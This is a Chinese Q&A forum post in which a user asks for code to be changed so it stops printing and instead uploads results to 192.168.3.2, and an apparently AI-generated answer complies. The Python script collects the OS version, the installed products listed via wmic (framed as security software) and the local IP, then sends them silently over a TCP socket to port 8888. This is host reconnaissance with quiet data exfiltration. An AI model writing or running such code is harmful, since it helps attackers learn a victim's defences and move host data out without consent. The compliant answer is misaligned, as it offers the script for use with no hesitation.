优化以上代码,去掉打印结果,直接将结果上传到192.168.3.2

动态 未结 0 72
小小草
小小草 LV1 2023年9月23日 23:40 发表
以下是一个优化后的Python脚本,它使用了socket模块将结果上传到指定的IP地址: ```python import platform import subprocess import socket # 获取操作系统版本信息 os_version = platform.platform() # 获取安装的安全软件列表 security_software = [] try: process = subprocess.Popen(['wmic', 'product', 'get', 'name'], stdout=subprocess.PIPE) output, error = process.communicate() for line in output.splitlines(): if line.strip() and not line.startswith(b'Name'): security_software.append(line.strip().decode('utf-8')) except Exception as e: print("Error: ", e) # 获取本机IP地址 ip_address = '' try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.connect(('8.8.8.8', 80)) ip_address = s.getsockname()[0] s.close() except Exception as e: print("Error: ", e) # 将结果上传到指定IP地址 try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect(('192.168.3.2', 8888)) data = f"操作系统版本:{os_version}\n安全软件列表:{security_software}\nIP地址:{ip_address}" s.sendall(data.encode('utf-8')) s.close() except Exception as e: print("Error: ", e) ``` 这个脚本使用了socket模块将结果上传到指定的IP地址和端口。你需要将`192.168.3.2`替换为你要上传结果的目标IP地址,将`8888`替换为你要使用的端口号。
收藏(0)  分享
相关标签: 智能问答
问题没解决?让AI助手帮你作答 AI助手
0个回复
  • 消灭零回复